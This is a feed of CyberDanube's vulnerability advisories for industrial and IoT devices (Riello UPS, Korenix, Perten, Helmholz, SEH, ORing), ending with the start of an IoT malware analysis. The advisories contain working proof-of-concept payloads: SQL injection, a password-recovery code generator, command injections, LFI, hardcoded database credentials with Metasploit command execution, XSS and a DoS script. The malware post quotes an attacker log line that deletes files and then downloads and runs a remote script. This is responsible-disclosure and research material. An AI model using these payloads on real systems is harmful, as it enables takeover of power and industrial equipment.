CyberDanube https://cyberdanube.com/en/ Being prepared is the key to success Thu, 19 Sep 2024 14:19:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.2 https://cyberdanube.com/wp-content/uploads/2022/02/favicon_32x32.png CyberDanube https://cyberdanube.com/en/ 32 32 [EN] Multiple Vulnerabilities in Riello Netman 204 https://cyberdanube.com/en/en-multiple-vulnerabilities-in-riello-netman-204/ Thu, 19 Sep 2024 10:47:51 +0000 https://cyberdanube.com/en/?p=4605

Title: Multiple Vulnerabilities
Product: Netman 204
Vulnerable version: 4.05
Fixed version: None
CVE: CVE-2024-8877, CVE-2024-8878
Impact: High
Homepage: https://www.riello-ups.com/
Found: 2024-05-17


The Netman 204 series is prone to unauthenticated SQL injection that allows modification of energy measurement entries. Furthermore, the UPS password reset function can be abused to reset the password without the riello support by calculating the recovery code for resetting the password.

Vendor description

“Riello Elettronica, lead by Cav. Lav. Pierantonio Riello, has a presence today in the Electrical manufacturing industry with two divisions: Energy, Automation and Security. It is a leader in the Uninterruptible Power Supply market with the well-known brand Riello UPS. Energy represents the Group’s core business, in particular with the manufacture of UPS that are firstly able to guarantee the quality of electricity and secondly maintain normal operation and continuity in case of blackouts or anomalies in the energy supply. Riello UPS designs and produces strategical solutions for every kind of requirement and make a bespoke offering according to the clients’ needs: from banks to the hospitals, transport to infrastructures, from domestic use to data centres.”

Source: https://www.riello-ups.com/pages/41-the-riello-elettronica-group

Vulnerable versions

NetMan 204 / 4.05

Vulnerability overview

1) SQL Injection (CVE-2024-8877)
The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.

2) Unauthenticated Password Reset (CVE-2024-8878)
By navigating to the endpoint /recoverpassword.html an attacker can gather the netmanid from the UPS. This id can be used to calculate the recovery code for resetting the password. This way enables an attacker to take over control of the UPS and e.g. turn it off.

Proof of Concept

1) SQL Injection (CVE-2024-8877)

The system is subsceptible to SQL injections, which is illustrated by the following payloads:

AND 1=0:
/cgi-bin/db_eventlog_w.cgi?date_start=1715609000?date_end=1715630160?gravity=%25?type=%25%27and/**/%271%27=%270

AND 1=1:
/cgi-bin/db_eventlog_w.cgi?date_start=1715609000?date_end=1715630160?gravity=%25?type=%25%27and/**/%271%27=%271

The first request does not return any data, while the second request returns all entries with a start and end date in the given interval.

2) Unauthenticated Password Reset (CVE-2024-8878)

The following python script can be used to generate the recovery code from the netmanid:

import hashlib
import sys
def calc_code(netman_id):
secret = b”NMP”
netman_id = secret + netman_id[3:]
round1 = hashlib.md5(netman_id).hexdigest().encode(‘utf-8’)
round2 = hashlib.sha1(round1).hexdigest()
code = round2[5:5+7]
return code
if len(sys.argv) < 2:
sys.exit(“usage: {} netman_id”.format(sys.argv[0]))
netman_id = sys.argv[1]
print(calc_code(netman_id.encode(‘utf-8’))

Inputting the recovery code in “/recoverpassword.html” resets the login credentials to admin:admin.

Solution

None.

Workaround

Limit access to the device.

Recommendation

Riello should release a firmware update that fixes the mentioned vulnerabilities.
Customers should not use this device in productive networks.


Contact Timeline

  • 2024-05-21: Contacting Riello UPS Group via riello@riello-ups.com.
  • 2024-06-06: Contacting Riello UPS Group via security-incident@riello-ups.com.
  • 2024-06-10: Received confirmation that the issue is being looked into.
  • 2024-07-22: Asking Riello UPS Group for a status of the update.
  • 2024-07-22: Contact stated that there is no planned date for the update.
  • 2024-08-05: Asking Riello UPS Group for a status of the update and telling them that the advisory will be published on 2024-09-19 after a 90-day period as stated in our Responsible Disclosure Agreement.
  • 2024-08-07: Contact stated that there are no news regarding the update and that it would take longer than 2024-09-19.
  • 2024-08-13: Asking Riello UPS Group about news on the update and a possible release date.
  • 2024-08-26: Contact stated that there are is no information regarding the update.
  • 2024-09-19: Advisory published.

Author

David Blagojevic is a Security Researcher at CyberDanube. He is currently engaged in research activities within the fields of firmware emulation and firmware analysis, where he is contributing to the development and advancement of the MEDUSA Firmware Emulation Framework.

Thomas Weber is co-founder and security researcher at CyberDanube in the field of embedded systems, (I)IoT and OT. He has uncovered numerous zero-day vulnerabilities and has published a large number of security advisories in the past. As part of his scientific work, he developed an emulation system for firmware – today the SaaS tool MEDUSA has emerged out of this. In the past he spoke at cyber security conferences such as HITB, BlackHat, IT-SECX, HEK.SI and OHM(international). Nowadays, he brings his competence and experience into security products.

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on digital twins, information security risk assessment and firmware analysis. Currently, he is working on developing the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points.

]]>
[EN] Multiple Vulnerabilities in Korenix JetPort https://cyberdanube.com/en/en-multiple-vulnerabilities-in-korenix-jetport/ Sun, 04 Aug 2024 14:00:09 +0000 https://cyberdanube.com/en/?p=4597

Title: Multiple Vulnerabilities
Product: Korenix JetPort
Vulnerable version: <=1.2
Fixed version: None
CVE: CVE-2024-7395, CVE-2024-7396, CVE-2024-7397
Impact: High
Homepage: https://korenix.com/
Found: 2024-04-01


The JetPort series is prone to unauthenicated command injection, which allows an attacker to fully compromise the device from the network.

Vendor description

“Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions. With decades of experiences in the industry, we have developed various product lines […].

Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, systemintegrators, and brand label partners. […]”

Source: https://www.korenix.com/en/about/index.aspx?kind=3

Vulnerable versions

JetPort 5601v3 / v1.2

Vulnerability overview

1) Insufficient Authentication (CVE-2024-7395)
The configuration service on port 600/tcp doesnt require authentication to be used. This allows an attacker to change the password or other critical information.

2) Plaintext Communication (CVE-2024-7396)
The communication of the configuration service is transmitted in plain text. An attacker could use this information to sniff passwords or other critical information.

3) Unauthenticated Command Injection (CVE-2024-7397)
An attacker with network access an can execute arbitrary commands as root user via the management service on port 600/tcp.

Proof of Concept

1) Insufficient Authentication (CVE-2024-7395)

The management software JetPort Commander is used as an frontend for the telnet service on 600/tcp. While it is possible to set a password, the passwords gets sent to the software in cleartext and gets validated on the client software rather than on the device. An attacker can bypass the management software by using telnet to directly connect to the port. This allows him to reconfigure the device including passwords and access controls.

$ telnet 192.168.122.76 600
Trying 192.168.122.76…
Connected to 192.168.122.76.
Escape character is ‘^]’.
-> setpassword poc

target:/$ cat /tmp/com2ip.conf
version:1.2.0
model:JetPort5601v3
name:JetPort5601v3-DEFAULT
serialno:0000000000000000
password:poc
switchmode:redundant
network:static:192.168.122.76:192.168.10.1:192.168.10.1

2) Plaintext Communication (CVE-2024-7396)

The management service uses telnet as protocol. We used tcpdump to inspect the traffic during a password change. The new password (newpass) is readable during transmission.

# sudo tcpdump -i virbr0 dst port 600 -X
14:17:25.461197 IP 192.168.122.240.49600 > 192.168.122.76.600: Flags [P.], seq 0:21, ack 13, win 16422, length 21
0x0000: 4500 003d 16a7 4000 8006 6d86 c0a8 7af0 E..=..@…m…z.
0x0010: c0a8 7a4c c1c0 0258 522b 6096 12eb 337d ..zL…XR+`…3}
0x0020: 5018 4026 76bd 0000 7365 7470 6173 7377 P.@?v…setpassw
0x0030: 6f72 6420 6e65 7770 6173 730d 0a ord.newpass..

3) Unauthenticated Remote Code Execution (CVE-2024-7397)

The management service on port 600/tcp is used to configure JetPort devices over the network. An attacker can inject arbitrary commands in multiple settings options. The binary ser2net receives the data via the telnet protocol and translates it to arguments for system() calls. For our PoC we used the setsntp option to create the file /tmp/pwned.

$ telnet 192.168.122.76 600
Trying 192.168.122.76…
Connected to 192.168.122.76.
Escape character is ‘^]’.
-> setsntp pool.ntp.org$(touch /tmp/pwned),123,Asia/Taipei,1
OK
->

target:/$ ls -rtlha /tmp/
drwxrwxr-x 17 root 0 1.0k Apr 4 10:41 ..
-rw-r–r– 1 root 0 4 Apr 4 12:28 thttpd.pid
-rw-r–r– 1 root 0 712 Apr 4 12:29 com2ip.conf
-rw-r–r– 1 root 0 0 Apr 4 12:33 pwned

The vulnerabilities were manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

None. Device is End-of-Life.

Workaround

Limit the access to the device and place it within a segmented network.

Recommendation

CyberDanube recommends customers from Korenix to remove the device from their network topology.


Contact Timeline

  • 2024-04-08: Contacting Beijer Electronics Group via cs@beijerelectronics.com.
  • 2024-05-07: Received confirmation that the issue is beeing looked into.
  • 2024-06-10: Contact stated that the product is considered EoL and will no longer receive security updates.
  • 2024-06-10: Confirm receipt and telling them that we will publish the advisory after our 90-days deadline.
  • 2024-08-05: Publication of the Advisory.

Author

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on digital twins, information security risk assessment and firmware analysis. Currently, he is working on developing the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points.

]]>
[EN] Multiple Vulnerabilities in Perten ProcessPlus https://cyberdanube.com/en/en-multiple-vulnerabilities-in-perten-processplus/ Sun, 21 Jul 2024 12:08:32 +0000 https://cyberdanube.com/en/?p=4587

Title: Multiple Vulnerabilities
Product: Perten ProcessPlus
Vulnerable version: <=1.11.6507.0
Fixed version: 2.0.0
CVE: CVE-2024-6911, CVE-2024-6912, CVE-2024-6913
Impact: High
Homepage: https://perkinelmer.com/
Found: 2024-04-24


The ProcessPlus measurement software is prone to local file inclusion, uses default MSSQL credentials, and is executed with unnecessarily high privileges.

Vendor description

“For 85 years, PerkinElmer has pushed the boundaries of science from food to health to the environment. We’ve always pursued science with a clear purpose – to help our customers achieve theirs. Our expert team brings technology and intangibles, like creativity, empathy, diligence, and a spirit of collaboration, in equal measure, to fulfill our customers’ desire to work better, innovate better, and create better.

PerkinElmer is a leading, global provider of technology and service solutions that help customers measure, quantify, detect, and report in ways that help ensure the quality, safety, and satisfaction of their products.”

Source: https://www.perkinelmer.com/

Vulnerable versions

ProcessPlus Software / <=1.11.6507.0

Vulnerability overview

1) Unauthenticated Local File Inclusion (CVE-2024-6911)
A LFI was identified in the web interface of the device. An attacker can use this vulnerability to read system-wide files and configuration.

2) Hardcoded MSSQL Credentials (CVE-2024-6912)
The software is using the same MSSQL credentials across multiple installations. In combination with 3), this allows an attacker to fully compromise the host.

3) Execution with Unnecessary Privileges (CVE-2024-6913)
The software uses the user “sa” to connect to the database. Access to this account allows an attacker to execute commands via the “xp_cmdshell” procedure.

Proof of Concept

1) Unauthenticated Local File Inclusion (CVE-2024-6911)

The LFI can be triggered by using the following GET Request:

GET /ProcessPlus/Log/Download/?filename=..\..\..\..\..\..\Windows\System32\drivers\etc\hosts?filenameWithSerialNumber=_Errors_2102162.log HTTP/1.1
Host: 192.168.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

This example returns the content from “C:\Windows\System32\drivers\etc\hosts” of an affected installation.

2) Hardcoded MSSQL Credentials (CVE-2024-6912)

Analysis across multiple installations show that the configuration file “\ProgramData\Perten\ProcessPlus\OPCDA_SERVER.xml” contains credentials:

[…]
<OPCDA_Server dbconnectstring=”Driver={SQL Server};SERVER=.\PertenSQL;
DATABASE=ProcessPlus_OPC;UID=sa;PWD=enilno” application_id=”1″
appid=”Perten.OPCDA.Server” loglevel=”info”
logfile=”C:\Perten\ProcessPlus\Log\opcserver.log”>
[…]

These credentials “sa:enilno” were re-used in all reviewed installations.

3) Execution with Unnecessary Privileges (CVE-2024-6913)

The application uses the “sa” user to authenticate with the database. By using Metasploit an attacker can execute arbitrary commands:

msf6 auxiliary(admin/mssql/mssql_exec) > show options

Module options (auxiliary/admin/mssql/mssql_exec):

Name Current Setting
—- —————
CMD dir
PASSWORD enilno
RHOSTS 192.168.0.1
RPORT 1433
TDSENCRYPTION false
TECHNIQUE xp_cmdshell
USERNAME sa
USE_WINDOWS_AUTHENT false

msf6 auxiliary(admin/mssql/mssql_exec) > run
[*] Running module against 192.168.0.1

[*] 192.168.0.1:1433 – SQL Query: EXEC master..xp_cmdshell ‘dir’

[…]
Directory of C:\Windows\system32
01/23/2024 13:37 AM <DIR> .
01/23/2024 13:37 AM <DIR> ..
01/23/2024 13:37 AM <DIR> 0123
01/23/2024 13:37 AM <DIR> 0123
01/23/2024 13:37 AM 232 @AppHelpToast.png
01/23/2024 13:37 AM 308 @AudioToastIcon.png
[…]

Solution

Update to version 2.0.0.

Workaround

Restrict network access to the host with the installed software. Change the default credentials of the database in the config file and the database itself.

Recommendation

CyberDanube recommends Perten customers to upgrade the software to the latest version available and to restrict network access to the management interface.


Contact Timeline

  • 2024-04-29: Contacting PerkinElmer via dpo@perkinelmer.com.
  • 2024-05-13: Vendor asked for unencrypted advisory.
  • 2024-05-16: Sent advisory to vendor.
  • 2024-05-22: Asked for status update. No answer.
  • 2024-05-28: Asked for status update. Contact stated that they are working on a fix.
  • 2024-06-10: Asked for status update. Contact stated that all issues should be fixed by end of month. Local file inclusion should be fixed in version 1.16. Asked for a release date of version 1.16. No answer.
  • 2024-07-13: Asked for status update.
  • 2024-07-15: Contact stated, that all three issues have been fixed in version 2.0.0 which have been released on 2024-07-11.
  • 2024-07-16: Asked for a link to the firmware update release.
  • 2024-07-17: Set release date to 2024-07-22.
  • 2024-07-22: Coordinated release of security advisory.

Author

Thomas Weber is co-founder and security researcher at CyberDanube in the field of embedded systems, (I)IoT and OT. He has uncovered numerous zero-day vulnerabilities and has published a large number of security advisories in the past. As part of his scientific work, he developed an emulation system for firmware – today the SaaS tool > MEDUSA < has emerged out of this. In the past he spoke at cyber security conferences such as HITB, BlackHat, IT-SECX, HEK.SI and OHM(international). Nowadays, he brings his competence and experience into security products.

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on digital twins, information security risk assessment and firmware analysis. Currently, he is working on developing the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points.

]]>
Authenticated Command Injection in Helmholz REX100 Router https://cyberdanube.com/en/authenticated-command-injection-in-helmholz-rex100-router/ Wed, 03 Jul 2024 07:38:24 +0000 https://cyberdanube.com/en/?p=4579

Title: Authenticated Command Injection
Product: Helmholz Industrial Router REX100, MBConnectline mbNET.mini
Vulnerable version: <= 2.2.11
Fixed version: 2.2.13
CVE: CVE-2024-5672
Impact: High
Homepage: https://www.helmholz.de/, https://mbconnectline.com/
Found: 2024-05-08


The Helmholz REX100 Router ist prone to an authenticated command injection attack. This allows an attacker to gain root access on the router, which usually acts as key infrastructure device in OT.

Vendor description

Helmholz is your specialist when it comes to sophisticated products for your automation projects. With current, clever system solutions from Helmholz, the high demands placed on industrial networks in times of increasing automation can be met both reliably and efficiently – including a high level of operating convenience. The broad product spectrum ranges from a decentralized I/O system to switches and repeaters, gateways, a NAT gateway/firewall and secure IoT remote machine access.

Source: https://www.helmholz.de/en/company/about-helmholz/

Vulnerable versions

Helmholz Industrial Router REX100 <= 2.2.11
MBConnectline mbNET.mini <= 2.2.11

Vulnerability overview

1) Authenticated Command Injection (CVE-2024-5672)

A command injection was identified on the webserver. This vulnerability can only be exploited if a user is authenticated on the web interface. This way, an attacker can invoke commands and is able to get full control over the whole device.

Proof of Concept

1) Authenticated Command Injection (CVE-2024-5672)

The following GET request changes the password for the root user and returns the process list of the device.

GET /cgi-bin/ping;echo$IFS’root:password’|chpasswd;ps;.sh HTTP/1.1
Host: 192.168.25.11
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic aGVsbWhvbHo6cm91dGVy
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.0 200 OK
This is haserl version 0.8.0
This program runs as a cgi interpeter, not interactively.
Bug reports to: Nathan Angelacos <nangel@users.sourceforge.net>

Password for ‘root’ changed
PID USER VSZ STAT COMMAND
1 root 2292 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
4 root 0 SW [events/0]
5 root 0 SW [khelper]
8 root 0 SW [async/mgr]
[…]

Solution

Update to latest version: 2.2.13

Workaround

None

Recommendation

CyberDanube recommends Helmholz customers to upgrade the firmware to the latest version available and to restrict network access to the management interface of the device.


Contact Timeline

  • 2024-05-15: Contacting Helmholz via psirt@helmholz.de.
  • 2024-05-15: Receiving security contact for MBConnectline.
  • 2024-05-21: Contact stated they are working on a fix.
  • 2024-06-13: Received advisory from contact and assigned CVE number.
  • 2024-07-01: Contact sends out final release date.
  • 2024-07-03: Coordinated release of advisory with CERT@VDE.

Author

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on embedded systems,  firmware analysis with digital twins and information security risk assessment. Currently, he is working on further development of the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points. Most recently, Sebastian was involved in uncovering zero-day vulnerabilities and publishing of security advisories.

]]>
[EN] Multiple Vulnerabilities in SEH untserver Pro https://cyberdanube.com/en/en-multiple-vulnerabilities-in-seh-untserver-pro/ Mon, 03 Jun 2024 08:21:43 +0000 https://cyberdanube.com/en/?p=4568

Title: Multiple Vulnerabilities
Product: SEH utnserver Pro
Vulnerable version: 20.1.22
Fixed version: 20.1.28
CVE: CVE-2024-5420, CVE-2024-5421, CVE-2024-5422
Impact: High
Homepage: https://www.seh-technology.com/
Found: 2024-03-04


The untserver Pro ist prone to stored cross-site scripting, file disclosure and denial of service attacks. This allows an attacker to deactivate the device or place malicious code in the web interface of the untserver.

Vendor description

We are SEH from Bielefeld – manufacturer of high-quality network solutions. With over 35 years of experience in the fields of printing and networks, we offer our customers a broad and high-level expertise in solutions for all types of business environments.

Source: https://www.seh-technology.com/us/company/about-us.html

Vulnerable versions

utnserver Pro / 20.1.22
utnserver ProMAX / 20.1.22
INU-100 / 20.1.22

Vulnerability overview

1) Stored Cross-Site Scripting (CVE-2024-5420)

A Stored Cross-Site Scripting vulnerability was identified in the web interface of the device. Multiple parameters, e.g. the device description, can be abused to inject JavaScript code. An attacker can exploit this vulnerability by luring a victim to visit a malicious website. Furthermore, it is possible to hijack the session of the attacked user.

2) Authenticated File Disclosure (CVE-2024-5421)
Files and content of directories can be disclosed by integrated functions of the device.

3) Denial of Service (CVE-2024-5422)
A Denial-of-Service vulnerability has been identified in the web interface of the device. This can be triggered by sending a lot of requests that trigger serial interface access on the device.

Proof of Concept

1) Stored Cross-Site Scripting (CVE-2024-5420)

By accessing to the following URL, an attacker can modify the device description:
http://$IP/device/description_en.html

By using malicious JavaScript payload, it is possible to execute arbitrary code. This snippet demonstrates such a payload:

“><script>alert(document.location)</script>

Saving this text to the device description leads to a persistent cross-site scripting. Therefore, everyone who openes the device description executes the injected code in the context of the own browser.

2) Authenticated File Disclosure (CVE-2024-5421)

A hidden function in the web-interface of the device can be used to disclose directories and files on operating system level. The function can be accessed directly via the browser:

http://$IP/info/dir?/

This lists the current directory and provides the files to be downloaded.

3) Denial of Service (CVE-2024-5422)

For triggering a denial of service on the device, multiple file descriptors are opened by using the following script:

#!/bin/bash
echo “Parameters: $1 $2”
last_iter=$(($2 – 1))
for ((i=1; i<=$2; i++))
do
echo “[$i] Downloading application binary”
if [[ “$i” == “$last_iter” ]];then
curl http://$1/info/file?/application –output ./file_${i}.txt ?> /dev/null
else
curl http://$1/info/file?/application –output ./file_${i}.txt ?> /dev/null ?
fi
done

The vulnerabilities were manually tested on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com) and verified on a real device.

Solution

Install firmware version 20.1.28 to fix the vulnerabilities.

Workaround

None

Recommendation

CyberDanube recommends SEH Computertechnik customers to upgrade the firmware to the latest version available.


Contact Timeline

  • 2024-03-11: Contacting SEH Computertechnik. Received reply from support. Sent advisory to support.
  • 2024-03-20: Asked for an update. Contact stated, that an internal timeline will be defined.
  • 2024-04-10: Asked for an update. Contact stated, that the vulnerabilities will be patched soon.
  • 2024-04-16: Contact sent link to patched firmware release candidate.
  • 2024-05-31: Notified SEH Computertechnik that advisory will be released first week of June. Received confirmation from SEH Computertechnik.
  • 2024-06-04: Coordinated release of security advisory.

Author

Thomas Weber is co-founder and security researcher at CyberDanube in the field of embedded systems, (I)IoT and OT. He has uncovered numerous zero-day vulnerabilities and has published a large number of security advisories in the past. As part of his scientific work, he developed an emulation system for firmware – today the SaaS tool MEDUSA has emerged out of this. In the past he spoke at cyber security conferences such as HITB, BlackHat, IT-SECX, HEK.SI and OHM(international). Nowadays, he brings his competence and experience into security products.

]]>
[EN] Multiple Vulnerabilities in ORing IAP420 https://cyberdanube.com/en/en-multiple-vulnerabilities-in-oring-iap420/ Mon, 27 May 2024 11:41:51 +0000 https://cyberdanube.com/en/?p=4560

Title: Multiple Vulnerabilities
Product: ORing IAP-420
Vulnerable version: 2.01e
Fixed version: –
CVE: CVE-2024-5410, CVE-2024-5411
Impact: High
Homepage: https://oringnet.com/
Found: 2024-01-19


The ORing IAP420 is prone to authenticated command injection and stored cross-site scripting. Therefore, an attacker can fully compromize the device via the management interface.

Vendor description

Founded in 2005, ORing specializes in developing innovative own-branded products for industrial settings. Over the years, ORing has accumulated abundant experience in wired and wireless network communications industry. In line with the commercialization of 5G, ORing has stretched its arm into the IIoT field, helping customers realize all kinds of IIoT applications such as smart manufacturing, smart city, and industrial automation. With high product quality and best customer services in mind, ORing has continued to launch cutting-edge products catering to customer needs. ORing’s products have been widely adopted in surveillance, rail transport, industrial automation, power substations, renewable energy, and marine industries with offices worldwide to address customer needs in real time.

Source: https://oringnet.com/en/about-us/company-profile

Vulnerable versions

Tested on ORing IAP420 / 2.01e

Vulnerability overview

1) Stored Cross-Site Scripting (CVE-2024-5410)

A Stored Cross-Site Scripting vulnerability was identified in the web interface of the device. The SSID of the WiFi can be configured to contain arbitrary JavaScript code. An attacker can exploit this vulnerability by luring a victim to visit a malicious website. Furthermore, it is possible to hijack the session of the attacked user.

2) Authenticated Command Injection (CVE-2024-5411)
The filename parameter of the config file upload is prone to a Command Injection vulnerability. This vulnerability can only be exploited if a user is authenticated to the web interface. This way, an attacker can invoke commands and is able to get full control over the whole device.

Proof of Concept

1) Stored Cross-Site Scripting (CVE-2024-5410)

Stored Cross-Site Scripting can be triggered by placing JavaScript code into the SSID input field of the web interface as authenticated user. A single request for injecting the script is shown below:

POST /cgi-bin/wl_set.cgi HTTP/1.1
Host: 192.168.0.1
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 659
Connection: keep-alive
Cookie: auth=YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1

sel_op_mode=client?sel_mssid=0?tf_ssid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E?sel_isolation=0?
sel_mssid_isolation=0?sel_auth_mode=0?rb_wep_authmode=0?sel_wep_enc_bits=0?
sel_wep_key_type=0?tf_key1=?tf_key2=?tf_key3=?tf_key4=?rb_wpapsk_authmode=0?
rb_wpapsk_enc=0?tf_wpa_key=?rb_wpa_authmode=0?rb_wpa_enc=0?tf_ip1=?tf_ip2=?
tf_ip3=?tf_ip4=?tf_radius_port=?tf_radius_key=?tf_ip1_1x=?tf_ip2_1x=?
tf_ip3_1x=?tf_ip4_1x=?tf_radius_port_1x=?tf_radius_key_1x=?bt_save=Save?
lang=en?channel=0?isolation=0?mssid_isolation=0?auth_mode=0?wep_authmode=0?
wpapsk_authmode=0?wpa_authmode=0?wpa_enc_type=0?wep_enc_bits=0?wep_key_type=0?
wep_key_index=0?ret_msg=

2) Authenticated Command Injection (CVE-2024-5411)

A command can be injected in the filename of the uploaded config. By sending a request as shown below, the content of the current directory can be shown:

POST /cgi-bin/admin_config.cgi?todo=upconf HTTP/1.1
Host: 10.69.10.2
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————347087158737672164432057801583
Content-Length: 563
Connection: keep-alive
Cookie: auth=YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1

—————————–347087158737672164432057801583
Content-Disposition: form-data; name=”upfile”; filename=”test.bin;ls${IFS}-la;”

—————————–347087158737672164432057801583
Content-Disposition: form-data; name=”bt_upconf”

Upload
—————————–347087158737672164432057801583
Content-Disposition: form-data; name=”lang”

en
—————————–347087158737672164432057801583
Content-Disposition: form-data; name=”ret_msg_upconf”

—————————–347087158737672164432057801583–

This request is equal to executing “ls -la” on the console of the device.

HTTP/1.0 200 OK
tar: can’t open ‘/tmp/test.bin’: No such file or directory
drwxr-xr-x 4 root root 1024 Mar 7 14:36 .
drwxr-xr-x 8 root root 1024 Jan 30 2024 ..
-rwxr-xr-x 1 root root 17572 Jan 30 2024 admin_config.cgi
-rwxr-xr-x 1 root root 17584 Jan 30 2024 admin_default.cgi
-rwxr-xr-x 1 root root 15984 Jan 30 2024 admin_fwup.cgi
-rwxr-xr-x 1 root root 12476 Jan 30 2024 admin_password.cgi
-rwxr-xr-x 1 root root 13164 Jan 30 2024 admin_restart.cgi
-rwxr-xr-x 1 root root 33336 Jan 30 2024 adv_filters.cgi
-rwxr-xr-x 1 root root 15032 Jan 30 2024 adv_misc.cgi
-rwxr-xr-x 1 root root 72168 Jan 30 2024 adv_rstp.cgi
-rwxr-xr-x 1 root root 6588 Jan 30 2024 backup_unit.cgi
[…]

The vulnerabilities were manually tested on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com) and verified on a real device.

Solution

None

Workaround

None

Recommendation

CyberDanube recommends Oring customers to upgrade the firmware to the latest version available and to restrict network access to the management interface of the device.


Contact Timeline

  • 2024-02-06: Contacting ORing via support@oringnet.com. Automatic holiday reply.
  • 2024-02-19: Asking for an update. No reply.
  • 2024-02-28: Asking for an update. No reply.
  • 2024-03-11: Searched for “cyber security manager” on LinkedIn. Contacted him and got the answer, that the content should be sent to “support@oringnet.com”. Sent the advisory to this address directly.
  • 2024-03-20: Asking for an update. No reply.
  • 2024-04-10: Asking for an update. No reply.
  • 2024-04-30: Including support_us@oringnet.com. Asking for an update. No reply.
  • 2024-05-02: Including support_eu@oringnet.com. Asking for an update. No reply.
  • 2024-05-27: Sent information that the advisory will be published on 2024-05-28.
  • 2024-05-28: Public release of security advisory.

Author

Thomas Weber is co-founder and security researcher at CyberDanube in the field of embedded systems, (I)IoT and OT. He has uncovered numerous zero-day vulnerabilities and has published a large number of security advisories in the past. As part of his scientific work, he developed an emulation system for firmware – today the SaaS tool MEDUSA has emerged out of this. In the past he spoke at cyber security conferences such as HITB, BlackHat, IT-SECX, HEK.SI and OHM(international). Nowadays, he brings his competence and experience into security products.

]]>
IoT Malware Analysis with MEDUSA https://cyberdanube.com/en/iot-malware-analysis-with-medusa/ Thu, 21 Mar 2024 14:51:31 +0000 https://cyberdanube.com/en/?p=4539 Motivation

At CyberDanube, we’re driven by our curiosity regarding fresh embedded/IoT security topics. Therefore, we are constantly researching new threats, leveraging IoT/IIoT honeypots on public internet to intercept attacks in real-time. These insights fuel our internal research and the development of our firmware emulation solution MEDUSA. During an analysis of one of our deployed honeypots, we encountered a command injection exploit attempt that caught our attention. The related Vulnerability is publicly disclosed and has the assigned CVE number 2023-1389, which can be found online:

::ffff:80.94.92.60 - - [12/Mar/2024:07:50:22 +0000] "GET /cgi-bin/luci/;stok=/locale?form=country?operation=write?country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" "-"

The corresponding exploit specifically targets TP-Link Archer AX21 (AX1800) devices.

The log indicates that the attacker attempts to download and execute a malicious script (tenda.sh) from a server. This script serves as a dropper for multiple binaries, which appear to be cross-compiled for different architectures.

Although the malware has been previously studied by multiple researchers (such as those mentioned in the provided links https://blog.permafrostsec.com/posts/mirai-variant-cve-2023-1389/, https://ducklingstudio.blog.fc2.com/blog-entry-231.html), they primarily analyzed the x64 version of the binary. Given that the exploit targets the TP-Link Archer AX21, we aim to investigate whether there are any differences in behavior or functionality when it is run on the host architecture.

Our plan involves building a digital twin using our SaaS solution, MEDUSA, to conduct dynamic analysis on the acquired malware. However, before proceeding, we aim to gain an overview and understanding of the sample’s behavior. Therefore, we initiated our study by examining the mipsel binary with the MD5 hash 9c044ba07dc2e144b68c13d6507e39c5.

Static Analysis

For static analysis, we decompressed the sample with UPX and loaded it into Binary Ninja. We observed that many functions exhibit a similar structure, parsing arguments and making syscalls with predefined values. For instance, the connect syscall function had the following format:

0040ef00  int32_t sub_40ef00(int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg4)
0040ef20      int32_t $v0 = syscall(0x104a)
0040ef28      if (arg4 != 0)
0040ef3c          open_call_file_ptr = $v0
0040ef40          $v0 = 0xffffffff
0040ef4c      return $v0

To streamline the task of renaming functions in the binary and gain a clearer understanding of its functionality, we opted to utilize Binary Ninja’s API. We constructed a semicolon-separated list containing syscall names and their corresponding numbers, which we sourced from https://syscalls.w3challs.com/?arch=mips_o32

